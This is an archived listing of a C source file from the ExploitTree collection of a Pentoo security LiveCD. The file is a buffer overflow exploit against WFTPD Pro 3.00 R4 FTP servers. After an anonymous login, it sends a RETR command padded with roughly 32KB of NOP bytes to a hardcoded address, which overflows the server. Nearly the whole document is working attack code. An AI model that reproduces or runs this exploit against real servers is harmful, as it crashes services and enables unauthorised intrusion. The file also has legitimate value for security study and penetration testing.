home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wftpd / wftpdsploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  45 lines

  1. /* WFTPD Pro 3.00 R4 Buffer Overflow exploit
  2.    written by Len Budney
  3. */
  4. #include <stdio.h>
  5. #include <unistd.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netinet/in.h>
  9. #include <errno.h>
  10.  
  11. #define BUFSIZE 32774
  12. #define CMD "RETR "  /* Alt: use "CWD " and set OFFSET to 4. */
  13. #define OFFSET 5
  14. void main(){
  15.         int sockfd, s;
  16.     struct sockaddr_in victim;
  17.         char buffer[BUFSIZE];
  18.         char exploitbuffer[BUFSIZE]={CMD};
  19.         char recvbuffer[BUFSIZE];
  20.  
  21.         sockfd=socket(AF_INET,SOCK_STREAM,0); if(sockfd == -1)perror("socket");
  22.         victim.sin_family=AF_INET;
  23.         victim.sin_addr.s_addr=inet_addr("192.168.197.129");
  24.         victim.sin_port=htons(21);
  25.         s=connect(sockfd, (struct sockaddr*) &victim, sizeof(victim));
  26.         if(s == -1) perror("connect");
  27.  
  28.         recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
  29.         memset(recvbuffer, '\0',sizeof(recvbuffer));
  30.         send(sockfd, "USER anonymous\r\n",strlen ("USER anonymous\r\n"),0);
  31.         recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
  32.         memset(recvbuffer, '\0',sizeof(recvbuffer));
  33.         send(sockfd, "PASS\r\n",strlen ("PASS\r\n"),0);
  34.         recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
  35.         memset(recvbuffer, '\0',sizeof(recvbuffer));
  36.  
  37.         memset(exploitbuffer+OFFSET,0x90,sizeof (exploitbuffer)-OFFSET-2);
  38.         sprintf(buffer,"%s\r\n",exploitbuffer);
  39.         send(sockfd, buffer , sizeof(buffer),0);
  40.         recv(sockfd, recvbuffer, sizeof (recvbuffer),0);
  41.  
  42.         close(sockfd);
  43.     _exit(0);
  44. }
  45.